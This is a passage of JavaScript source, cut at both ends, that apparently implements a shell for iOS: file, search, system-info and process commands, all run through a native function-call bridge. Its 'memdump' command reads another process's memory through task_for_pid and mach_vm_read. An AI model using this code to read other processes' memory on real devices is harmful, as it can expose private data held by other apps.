\"\", err: \"cd: \" + path + \": Not a directory\\n\" };\n\t_cwd = path;\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdMkdir(args) {\n\tvar mkp = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-p\") mkp = true;\n\t\telse target = args[i];\n\t}\n\tif (!target) return { code: 1, out: \"\", err: \"mkdir: missing operand\\n\" };\n\tvar path = _resolvePath(target);\n\tif (mkp) {\n\t\tvar parts = path.split('/');\n\t\tvar cur = \"\";\n\t\tfor (var i = 0; i < parts.length; i++) {\n\t\t\tcur += (i === 0 ? \"\" : \"/\") + parts[i];\n\t\t\tif (!cur) cur = \"/\";\n\t\t\tif (!_statFile(cur)) Native.callSymbol(\"mkdir\", cur, 0x1ed);\n\t\t}\n\t} else {\n\t\tvar r = Number(Native.callSymbol(\"mkdir\", path, 0x1ed));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"mkdir: \" + path + \": Cannot create directory\\n\" };\n\t}\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _rmRecursive(path) {\n\tvar items = listDir(path);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar fp = path + \"/\" + items[i].name;\n\t\tif (items[i].type === \"dir\") _rmRecursive(fp);\n\t\telse Native.callSymbol(\"unlink\", fp);\n\t}\n\tNative.callSymbol(\"rmdir\", path);\n}\n\nfunction _cmdRm(args) {\n\tvar recursive = false, force = false, targets = [];\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i].charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < args[i].length; j++) {\n\t\t\t\tvar ch = args[i].charAt(j);\n\t\t\t\tif (ch === 'r' || ch === 'R') recursive = true;\n\t\t\t\tif (ch === 'f') force = true;\n\t\t\t}\n\t\t} else targets.push(args[i]);\n\t}\n\tif (!targets.length) return { code: 1, out: \"\", err: \"rm: missing operand\\n\" };\n\tvar errs = \"\";\n\tfor (var t = 0; t < targets.length; t++) {\n\t\tvar path = _resolvePath(targets[t]);\n\t\tvar st = _statFile(path);\n\t\tif (!st) { if (!force) errs += \"rm: \" + path + \": No such file or directory\\n\"; continue; }\n\t\tif (st.isDir) {\n\t\t\tif (!recursive) { errs += \"rm: \" + path + \": Is a directory\\n\"; continue; }\n\t\t\t_rmRecursive(path);\n\t\t} else {\n\t\t\tvar r = Number(Native.callSymbol(\"unlink\", path));\n\t\t\tif (r !== 0 && !force) errs += \"rm: \" + path + \": Permission denied\\n\";\n\t\t}\n\t}\n\treturn { code: errs ? 1 : 0, out: \"\", err: errs };\n}\n\nfunction _cmdCp(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"cp: missing operand\\n\" };\n\tvar src = _resolvePath(args[1]);\n\tvar dst = _resolvePath(args[2]);\n\tvar srcSt = _statFile(src);\n\tif (!srcSt) return { code: 1, out: \"\", err: \"cp: \" + src + \": No such file or directory\\n\" };\n\tif (!srcSt.isFile) return { code: 1, out: \"\", err: \"cp: \" + src + \": Not a regular file\\n\" };\n\tvar dstSt = _statFile(dst);\n\tif (dstSt && dstSt.isDir) dst = dst + \"/\" + src.split('/').pop();\n\n\tvar srcFd = Number(Native.callSymbol(\"open\", src, 0, 0));\n\tif (srcFd < 0) return { code: 1, out: \"\", err: \"cp: \" + src + \": Permission denied\\n\" };\n\tvar dstFd = Number(Native.callSymbol(\"open\", dst, 0x0601, 0x1a4));\n\tif (dstFd < 0) { Native.callSymbol(\"close\", srcFd); return { code: 1, out: \"\", err: \"cp: \" + dst + \": Cannot create file\\n\" }; }\n\n\tvar BUF = 65536;\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(BUF));\n\tif (!buf || buf === 0n) {\n\t\tNative.callSymbol(\"close\", srcFd); Native.callSymbol(\"close\", dstFd);\n\t\treturn { code: 1, out: \"\", err: \"cp: out of memory\\n\" };\n\t}\n\tvar err = \"\";\n\ttry {\n\t\tfor (;;) {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", srcFd, buf, BUF));\n\t\t\tif (nr <= 0) break;\n\t\t\tvar nw = Number(Native.callSymbol(\"write\", dstFd, buf, nr));\n\t\t\tif (nw !== nr) { err = \"cp: write error\\n\"; break; }\n\t\t}\n\t} finally {\n\t\tNative.callSymbol(\"free\", buf);\n\t\tNative.callSymbol(\"close\", srcFd);\n\t\tNative.callSymbol(\"close\", dstFd);\n\t}\n\tif (!err) Native.callSymbol(\"chmod\", dst, 0x1A4);\n\treturn { code: err ? 1 : 0, out: \"\", err: err };\n}\n\nfunction _cmdMv(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"mv: missing operand\\n\" };\n\tvar src = _resolvePath(args[1]);\n\tvar dst = _resolvePath(args[2]);\n\tvar dstSt = _statFile(dst);\n\tif (dstSt && dstSt.isDir) dst = dst + \"/\" + src.split('/').pop();\n\tvar r = Number(Native.callSymbol(\"rename\", src, dst));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"mv: cannot move \" + src + \" to \" + dst + \"\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdStat(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"stat: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"stat: \" + path + \": No such file or directory\\n\" };\n\tvar out = \" File: \" + path + \"\\n\";\n\tout += \" Size: \" + st.size + \"\\tType: \" + st.type + \"\\n\";\n\tout += \" Mode: \" + _modeStr(st.mode) + \" (\" + (st.mode & 0xFFF).toString(8) + \")\\n\";\n\tout += \" Links: \" + st.nlink + \"\\n\";\n\tout += \"Access: \" + new Date(st.atime * 1000).toISOString() + \"\\n\";\n\tout += \"Modify: \" + new Date(st.mtime * 1000).toISOString() + \"\\n\";\n\tout += \"Change: \" + new Date(st.ctime * 1000).toISOString() + \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdChmod(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"chmod: missing operand\\n\" };\n\tvar mode = parseInt(args[1], 8);\n\tif (isNaN(mode)) return { code: 1, out: \"\", err: \"chmod: invalid mode: \" + args[1] + \"\\n\" };\n\tvar path = _resolvePath(args[2]);\n\tvar r = Number(Native.callSymbol(\"chmod\", path, mode));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"chmod: \" + path + \": Operation not permitted\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdTouch(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"touch: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (st) {\n\t\tNative.callSymbol(\"utimes\", path, 0n);\n\t} else {\n\t\tvar fd = Number(Native.callSymbol(\"open\", path, 0x0601, 0x1a4));\n\t\tif (fd < 0) return { code: 1, out: \"\", err: \"touch: \" + path + \": Cannot create file\\n\" };\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdLn(args) {\n\tvar sym = false, target = null, link = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-s\") sym = true;\n\t\telse if (!target) target = args[i];\n\t\telse link = args[i];\n\t}\n\tif (!target || !link) return { code: 1, out: \"\", err: \"ln: usage: ln [-s] target link\\n\" };\n\tvar tgt = _resolvePath(target);\n\tvar lnk = _resolvePath(link);\n\tvar fn = sym ? \"symlink\" : \"link\";\n\tvar r = Number(Native.callSymbol(fn, tgt, lnk));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"ln: \" + lnk + \": Operation failed\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdReadlink(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"readlink: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar buf = Native.callSymbol(\"malloc\", 1024);\n\tif (!buf || buf === 0n) return { code: 1, out: \"\", err: \"readlink: failed\\n\" };\n\ttry {\n\t\tvar len = Number(Native.callSymbol(\"readlink\", path, buf, 1023));\n\t\tif (len <= 0) return { code: 1, out: \"\", err: \"readlink: \" + path + \": Invalid argument\\n\" };\n\t\treturn { code: 0, out: Native.readString(buf, len) + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", buf); }\n}\n\nfunction _matchGlob(name, pattern) {\n\tif (!pattern) return true;\n\tif (pattern === \"*\") return true;\n\tif (pattern.indexOf('*') < 0 && pattern.indexOf('?') < 0) return name === pattern;\n\tvar re = \"^\";\n\tfor (var i = 0; i < pattern.length; i++) {\n\t\tvar c = pattern.charAt(i);\n\t\tif (c === '*') re += \".*\";\n\t\telse if (c === '?') re += \".\";\n\t\telse if (\".+^${}()|[]\\\\\".indexOf(c) >= 0) re += \"\\\\\" + c;\n\t\telse re += c;\n\t}\n\tre += \"$\";\n\ttry { return new RegExp(re).test(name); }\n\tcatch(e) { return name.indexOf(pattern.replace(/\\*/g, '')) >= 0; }\n}\n\nfunction _findRecursive(base, namePattern, typeFilter, results, depth, maxDepth) {\n\tif (depth > maxDepth || results.length > 10000) return;\n\tvar items = listDir(base);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar fp = base + (base === \"/\" ? \"\" : \"/\") + items[i].name;\n\t\tvar isDir = items[i].type === \"dir\";\n\t\tvar isFile = items[i].type === \"file\";\n\t\tif (typeFilter === \"f\" && !isFile) {\n\t\t\tif (isDir) _findRecursive(fp, namePattern, typeFilter, results, depth + 1, maxDepth);\n\t\t\tcontinue;\n\t\t}\n\t\tif (typeFilter === \"d\" && !isDir) continue;\n\t\tif (_matchGlob(items[i].name, namePattern)) results.push(fp);\n\t\tif (isDir) _findRecursive(fp, namePattern, typeFilter, results, depth + 1, maxDepth);\n\t}\n}\n\nfunction _cmdFind(args) {\n\tvar searchPath = null, namePattern = null, typeFilter = null;\n\tvar i = 1;\n\twhile (i < args.length) {\n\t\tif (args[i] === \"-name\" && i + 1 < args.length) { namePattern = args[i + 1]; i += 2; }\n\t\telse if (args[i] === \"-type\" && i + 1 < args.length) { typeFilter = args[i + 1]; i += 2; }\n\t\telse if (args[i].charAt(0) !== '-') { searchPath = args[i]; i++; }\n\t\telse { i++; }\n\t}\n\tvar path = _resolvePath(searchPath || \".\");\n\tvar results = [];\n\t_findRecursive(path, namePattern, typeFilter, results, 0, 20);\n\treturn { code: 0, out: results.join(\"\\n\") + (results.length ? \"\\n\" : \"\"), err: \"\" };\n}\n\nfunction _cmdHead(args) {\n\tvar n = 10, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { n = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"head: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"head: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar out = lines.slice(0, n).join('\\n');\n\tif (lines.length > n) out += '\\n';\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdTail(args) {\n\tvar n = 10, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { n = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"tail: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"tail: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar start = lines.length > n ? lines.length - n : 0;\n\treturn { code: 0, out: lines.slice(start).join('\\n'), err: \"\" };\n}\n\nfunction _cmdWc(args) {\n\tvar cntL = false, cntW = false, cntC = false, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i].charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < args[i].length; j++) {\n\t\t\t\tvar ch = args[i].charAt(j);\n\t\t\t\tif (ch === 'l') cntL = true;\n\t\t\t\tif (ch === 'w') cntW = true;\n\t\t\t\tif (ch === 'c') cntC = true;\n\t\t\t}\n\t\t} else file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"wc: missing operand\\n\" };\n\tif (!cntL && !cntW && !cntC) { cntL = true; cntW = true; cntC = true; }\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"wc: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar out = \"\";\n\tif (cntL) { var nl = 0; for (var k = 0; k < text.length; k++) if (text.charAt(k) === '\\n') nl++; out += nl + \"\\t\"; }\n\tif (cntW) {\n\t\tvar wc = 0, inWord = false;\n\t\tfor (var k = 0; k < text.length; k++) {\n\t\t\tvar cc = text.charCodeAt(k);\n\t\t\tvar ws = (cc === 32 || cc === 9 || cc === 10 || cc === 13);\n\t\t\tif (!ws && !inWord) { wc++; inWord = true; }\n\t\t\tif (ws) inWord = false;\n\t\t}\n\t\tout += wc + \"\\t\";\n\t}\n\tif (cntC) out += bytes.length + \"\\t\";\n\tout += path + \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdGrep(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"grep: usage: grep pattern file\\n\" };\n\tvar ignCase = false, lineNum = false;\n\tvar pattern = null, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-i\") ignCase = true;\n\t\telse if (args[i] === \"-n\") lineNum = true;\n\t\telse if (!pattern) pattern = args[i];\n\t\telse file = args[i];\n\t}\n\tif (!pattern || !file) return { code: 1, out: \"\", err: \"grep: usage: grep [-in] pattern file\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"grep: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar out = \"\";\n\tvar found = false;\n\tvar pat = ignCase ? pattern.toLowerCase() : pattern;\n\tfor (var i = 0; i < lines.length; i++) {\n\t\tvar line = ignCase ? lines[i].toLowerCase() : lines[i];\n\t\tif (line.indexOf(pat) >= 0) {\n\t\t\tout += (lineNum ? (i + 1) + \":\" : \"\") + lines[i] + \"\\n\";\n\t\t\tfound = true;\n\t\t}\n\t}\n\treturn { code: found ? 0 : 1, out: out, err: \"\" };\n}\n\nfunction _duRecursive(path, depth) {\n\tif (depth > 50) return 0;\n\tvar st = _statFile(path);\n\tif (!st) return 0;\n\tif (st.isFile) return st.size;\n\tvar total = 0;\n\tvar items = listDir(path);\n\tfor (var i = 0; i < items.length; i++) {\n\t\ttotal += _duRecursive(path + \"/\" + items[i].name, depth + 1);\n\t}\n\treturn total;\n}\n\nfunction _cmdDu(args) {\n\tvar summary = false, human = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-s\") summary = true;\n\t\telse if (args[i] === \"-h\") human = true;\n\t\telse if (args[i].charAt(0) !== '-') target = args[i];\n\t}\n\tvar path = _resolvePath(target || \".\");\n\tvar total = _duRecursive(path, 0);\n\tvar sizeStr = human ? _fmtSizeH(total) : \"\" + (total / 1024 | 0);\n\treturn { code: 0, out: sizeStr + \"\\t\" + path + \"\\n\", err: \"\" };\n}\n\nfunction _cmdFile(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"file: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"file: \" + path + \": No such file or directory\\n\" };\n\tif (st.isDir) return { code: 0, out: path + \": directory\\n\", err: \"\" };\n\tif (st.isLink) return { code: 0, out: path + \": symbolic link\\n\", err: \"\" };\n\tvar bytes = _readFileBytes(path, 512);\n\tif (!bytes || bytes.length === 0) return { code: 0, out: path + \": empty\\n\", err: \"\" };\n\tif (bytes.length >= 4) {\n\t\tif (bytes[0]===0xCF && bytes[1]===0xFA && bytes[2]===0xED && bytes[3]===0xFE) return { code: 0, out: path + \": Mach-O 64-bit executable\\n\", err: \"\" };\n\t\tif (bytes[0]===0xCA && bytes[1]===0xFE && bytes[2]===0xBA && bytes[3]===0xBE) return { code: 0, out: path + \": Mach-O universal binary\\n\", err: \"\" };\n\t\tif (bytes[0]===0x89 && bytes[1]===0x50 && bytes[2]===0x4E && bytes[3]===0x47) return { code: 0, out: path + \": PNG image data\\n\", err: \"\" };\n\t\tif (bytes[0]===0xFF && bytes[1]===0xD8 && bytes[2]===0xFF) return { code: 0, out: path + \": JPEG image data\\n\", err: \"\" };\n\t\tif (bytes[0]===0x50 && bytes[1]===0x4B && bytes[2]===0x03 && bytes[3]===0x04) return { code: 0, out: path + \": Zip archive\\n\", err: \"\" };\n\t\tif (bytes[0]===0x53 && bytes[1]===0x51 && bytes[2]===0x4C && bytes[3]===0x69) return { code: 0, out: path + \": SQLite 3.x database\\n\", err: \"\" };\n\t\tif (bytes[0]===0x62 && bytes[1]===0x70 && bytes[2]===0x6C && bytes[3]===0x69) return { code: 0, out: path + \": Apple binary property list\\n\", err: \"\" };\n\t\tif (bytes[0]===0x3C && bytes[1]===0x3F && bytes[2]===0x78 && bytes[3]===0x6D) return { code: 0, out: path + \": XML document\\n\", err: \"\" };\n\t}\n\tvar isText = true;\n\tfor (var i = 0; i < Math.min(bytes.length, 256); i++) {\n\t\tif (bytes[i] < 9 || (bytes[i] > 13 && bytes[i] < 32 && bytes[i] !== 27)) { isText = false; break; }\n\t}\n\tif (isText) return { code: 0, out: path + \": ASCII text\\n\", err: \"\" };\n\treturn { code: 0, out: path + \": data\\n\", err: \"\" };\n}\n\nfunction _cmdHexdump(args) {\n\tvar maxBytes = 256, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { maxBytes = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"hexdump: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path, maxBytes);\n\tif (!bytes) return { code: 1, out: \"\", err: \"hexdump: \" + path + \": No such file or directory\\n\" };\n\tvar out = \"\";\n\tfor (var i = 0; i < bytes.length; i += 16) {\n\t\tvar addr = (\"00000000\" + i.toString(16)).slice(-8);\n\t\tvar hex = \"\", ascii = \"\";\n\t\tfor (var j = 0; j < 16; j++) {\n\t\t\tif (i + j < bytes.length) {\n\t\t\t\thex += (\"0\" + bytes[i + j].toString(16)).slice(-2) + \" \";\n\t\t\t\tascii += (bytes[i + j] >= 32 && bytes[i + j] < 127) ? String.fromCharCode(bytes[i + j]) : \".\";\n\t\t\t} else { hex += \" \"; }\n\t\t\tif (j === 7) hex += \" \";\n\t\t}\n\t\tout += addr + \" \" + hex + \" |\" + ascii + \"|\\n\";\n\t}\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- System Info Commands ----\n\nfunction _cmdWhoami() {\n\tvar uid = Number(Native.callSymbol(\"getuid\"));\n\treturn { code: 0, out: (uid === 0 ? \"root\" : \"mobile\") + \"\\n\", err: \"\" };\n}\n\nfunction _cmdId() {\n\tvar uid = Number(Native.callSymbol(\"getuid\"));\n\tvar gid = Number(Native.callSymbol(\"getgid\"));\n\tvar euid = Number(Native.callSymbol(\"geteuid\"));\n\tvar egid = Number(Native.callSymbol(\"getegid\"));\n\tvar uname = uid === 0 ? \"root\" : \"mobile\";\n\tvar gname = gid === 0 ? \"wheel\" : gid === 501 ? \"mobile\" : \"\" + gid;\n\tvar out = \"uid=\" + uid + \"(\" + uname + \") gid=\" + gid + \"(\" + gname + \")\";\n\tif (euid !== uid) out += \" euid=\" + euid;\n\tif (egid !== gid) out += \" egid=\" + egid;\n\treturn { code: 0, out: out + \"\\n\", err: \"\" };\n}\n\nfunction _cmdUname(args) {\n\tvar all = false;\n\tfor (var i = 1; i < args.length; i++) if (args[i] === \"-a\") all = true;\n\tvar uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (!uts || uts === 0n) return { code: 1, out: \"\", err: \"uname: failed\\n\" };\n\ttry {\n\t\tNative.callSymbol(\"uname\", uts);\n\t\tvar sysname = Native.readString(uts, 256).replace(/\\0/g, \"\");\n\t\tvar nodename = Native.readString(uts + 256n, 256).replace(/\\0/g, \"\");\n\t\tvar release = Native.readString(uts + 512n, 256).replace(/\\0/g, \"\");\n\t\tvar version = Native.readString(uts + 768n, 256).replace(/\\0/g, \"\");\n\t\tvar machine = Native.readString(uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\tif (all) return { code: 0, out: sysname + \" \" + nodename + \" \" + release + \" \" + version + \" \" + machine + \"\\n\", err: \"\" };\n\t\treturn { code: 0, out: sysname + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", uts); }\n}\n\nfunction _cmdHostname() {\n\tvar buf = Native.callSymbol(\"malloc\", 256);\n\tif (!buf || buf === 0n) return { code: 1, out: \"\", err: \"hostname: failed\\n\" };\n\ttry {\n\t\tvar r = Number(Native.callSymbol(\"gethostname\", buf, 255));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"hostname: failed\\n\" };\n\t\treturn { code: 0, out: Native.readString(buf, 256).replace(/\\0/g, \"\") + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", buf); }\n}\n\nfunction _cmdDf(args) {\n\tvar human = false;\n\tfor (var i = 1; i < args.length; i++) if (args[i] === \"-h\") human = true;\n\tvar sb = Native.callSymbol(\"calloc\", 1, 4096);\n\tif (!sb || sb === 0n) return { code: 1, out: \"\", err: \"df: failed\\n\" };\n\ttry {\n\t\tvar r = Number(Native.callSymbol(\"statfs\", \"/\", sb));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"df: statfs failed\\n\" };\n\t\tvar bsRaw = new DataView(Native.read(BigInt(sb), 4));\n\t\tvar bsize = bsRaw.getUint32(0, true);\n\t\tvar blocks = Number(Native.readPtr(BigInt(sb) + 8n));\n\t\tvar bfree = Number(Native.readPtr(BigInt(sb) + 16n));\n\t\tvar bavail = Number(Native.readPtr(BigInt(sb) + 24n));\n\t\tvar total = blocks * bsize, free = bfree * bsize;\n\t\tvar used = total - free, avail = bavail * bsize;\n\t\tvar pct = total > 0 ? Math.round(used * 100 / total) : 0;\n\t\tvar out = \"Filesystem\\tSize\\tUsed\\tAvail\\tUse%\\tMounted on\\n\";\n\t\tif (human) {\n\t\t\tout += \"/dev/disk0s1\\t\" + _fmtSizeH(total) + \"\\t\" + _fmtSizeH(used) + \"\\t\" + _fmtSizeH(avail) + \"\\t\" + pct + \"%\\t/\\n\";\n\t\t} else {\n\t\t\tout += \"/dev/disk0s1\\t\" + (total/1024|0) + \"\\t\" + (used/1024|0) + \"\\t\" + (avail/1024|0) + \"\\t\" + pct + \"%\\t/\\n\";\n\t\t}\n\t\treturn { code: 0, out: out, err: \"\" };\n\t} finally { Native.callSymbol(\"free\", sb); }\n}\n\nfunction _cmdDate() {\n\tvar now = new Date();\n\treturn { code: 0, out: now.toISOString().replace(\"T\", \" \").replace(\"Z\", \" UTC\") + \"\\n\", err: \"\" };\n}\n\nfunction _cmdEcho(args) {\n\treturn { code: 0, out: args.slice(1).join(\" \") + \"\\n\", err: \"\" };\n}\n\n// ---- Process Commands ----\n\nfunction _cmdPs(args) {\n\tvar pidBufSize = 4 * 8192;\n\tvar pidBuf = Native.callSymbol(\"malloc\", BigInt(pidBufSize));\n\tif (!pidBuf || pidBuf === 0n) return { code: 1, out: \"\", err: \"ps: malloc failed\\n\" };\n\n\tvar count = Number(Native.callSymbol(\"proc_listallpids\", pidBuf, pidBufSize));\n\tif (count <= 0) {\n\t\tNative.callSymbol(\"free\", pidBuf);\n\t\treturn { code: 1, out: \"\", err: \"ps: proc_listallpids failed\\n\" };\n\t}\n\tif (count > 8192) count = 8192;\n\n\tvar pids = [];\n\tfor (var i = 0; i < count; i++) {\n\t\tvar pid = Native.read32(BigInt(pidBuf) + BigInt(i * 4));\n\t\tif (pid > 0) pids.push(pid);\n\t}\n\tNative.callSymbol(\"free\", pidBuf);\n\tpids.sort(function(a, b) { return a - b; });\n\n\tvar nameBuf = Native.callSymbol(\"malloc\", 256);\n\tif (!nameBuf || nameBuf === 0n) return { code: 1, out: \"\", err: \"ps: malloc failed\\n\" };\n\n\tvar out = \" PID\\tNAME\\n\";\n\tfor (var pi = 0; pi < pids.length; pi++) {\n\t\ttry {\n\t\t\tNative.callSymbol(\"memset\", nameBuf, 0, 256);\n\t\t\tvar nameLen = Number(Native.callSymbol(\"proc_name\", pids[pi], nameBuf, 255));\n\t\t\tvar name = nameLen > 0 ? Native.readString(BigInt(nameBuf), 255) : \"?\";\n\t\t\tout += \" \" + pids[pi] + \"\\t\" + name + \"\\n\";\n\t\t} catch (procErr) {\n\t\t\tout += \" \" + pids[pi] + \"\\t(error)\\n\";\n\t\t}\n\t}\n\tNative.callSymbol(\"free\", nameBuf);\n\tout += \"\\nTotal: \" + pids.length + \" processes\\n\";\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdMemdump(args) {\n\tif (args.length < 4) return { code: 1, out: \"\", err: \"memdump: usage: memdump \\n Address in hex (0x...). Max dump display 4KB, max read 1MB.\\n\" };\n\n\tvar pid = parseInt(args[1]);\n\tvar addrStr = args[2];\n\tvar address = (addrStr.indexOf(\"0x\") === 0 || addrStr.indexOf(\"0X\") === 0)\n\t\t? parseInt(addrStr, 16) : parseInt(addrStr);\n\tvar size = parseInt(args[3]);\n\n\tif (isNaN(pid) || pid <= 0) return { code: 1, out: \"\", err: \"memdump: invalid pid\\n\" };\n\tif (isNaN(address)) return { code: 1, out: \"\", err: \"memdump: invalid address\\n\" };\n\tif (isNaN(size) || size <= 0) return { code: 1, out: \"\", err: \"memdump: invalid size\\n\" };\n\tif (size > 1024 * 1024) return { code: 1, out: \"\", err: \"memdump: size too large (max 1MB)\\n\" };\n\n\tvar selfPortAddr = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"mach_task_self_\");\n\tif (!selfPortAddr || selfPortAddr === 0n) return { code: 1, out: \"\", err: \"memdump: cannot resolve mach_task_self_\\n\" };\n\tvar selfPort = Native.read32(BigInt(selfPortAddr));\n\n\tvar taskPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!taskPtr || taskPtr === 0n) return { code: 1, out: \"\", err: \"memdump: malloc failed\\n\" };\n\n\tvar kr = Number(Native.callSymbol(\"task_for_pid\", selfPort, pid, taskPtr));\n\tif (kr !== 0) {\n\t\tNative.callSymbol(\"free\", taskPtr);\n\t\treturn { code: 1, out: \"\", err: \"memdump: task_for_pid failed (kern_return=\" + kr + \")\\n\" };\n\t}\n\tvar task = Native.read32(BigInt(taskPtr));\n\tNative.callSymbol(\"free\", taskPtr);\n\n\tvar dataOutPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar cntOutPtr = Native.callSymbol(\"calloc\", 1, 4);\n\tif (!dataOutPtr || dataOutPtr === 0n || !cntOutPtr || cntOutPtr === 0n) {\n\t\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\t\tif (dataOutPtr) Native.callSymbol(\"free\", dataOutPtr);\n\t\tif (cntOutPtr) Native.callSymbol(\"free\", cntOutPtr);\n\t\treturn { code: 1, out: \"\", err: \"memdump: malloc failed\\n\" };\n\t}\n\n\tkr = Number(Native.callSymbol(\"mach_vm_read\", task, BigInt(address), BigInt(size), dataOutPtr, cntOutPtr));\n\tif (kr !== 0) {\n\t\tNative.callSymbol(\"free\", dataOutPtr);\n\t\tNative.callSymbol(\"free\", cntOutPtr);\n\t\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\t\treturn { code: 1, out: \"\", err: \"memdump: mach_vm_read failed (kern_return=\" + kr + \")\\n\" };\n\t}\n\n\tvar dataAddr = Native.readPtr(BigInt(dataOutPtr));\n\tvar dataCnt = _readU32(BigInt(cntOutPtr), 0);\n\tNative.callSymbol(\"free\", dataOutPtr);\n\tNative.callSymbol(\"free\", cntOutPtr);\n\n\tvar readSize = dataCnt < size ? dataCnt : size;\n\tvar bytes = new Uint8Array(Native.read(dataAddr, readSize));\n\n\tNative.callSymbol(\"mach_vm_deallocate\", selfPort, dataAddr, BigInt(dataCnt));\n\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\n\tvar maxShow = readSize > 4096 ? 4096 : readSize;\n\tvar out = \"\";\n\tfor (var i = 0; i < maxShow; i += 16) {\n\t\tvar a = (address + i).toString(16);\n\t\twhile (a.length < 8) a = \"0\" + a;\n\t\tvar hex = \"\", ascii = \"\";\n\t\tfor (var j = 0; j < 16; j++) {\n\t\t\tif (i + j < maxShow) {\n\t\t\t\tvar hx = bytes[i + j].toString(16);\n\t\t\t\thex += (hx.length < 2 ? \"0\" + hx : hx) + \" \";\n\t\t\t\tascii += (bytes[i + j] >= 32 && bytes[i + j] < 127) ? String.fromCharCode(bytes[i + j]) : \".\";\n\t\t\t} else { hex += \" \"; }\n\t\t\tif (j === 7) hex += \" \";\n\t\t}\n\t\tout += a + \" \" + hex + \" |\" + ascii + \"|\\n\";\n\t}\n\tif (readSize > maxShow) out += \"\\n... truncated (read \" + readSize + \" bytes, showing \" + maxShow + 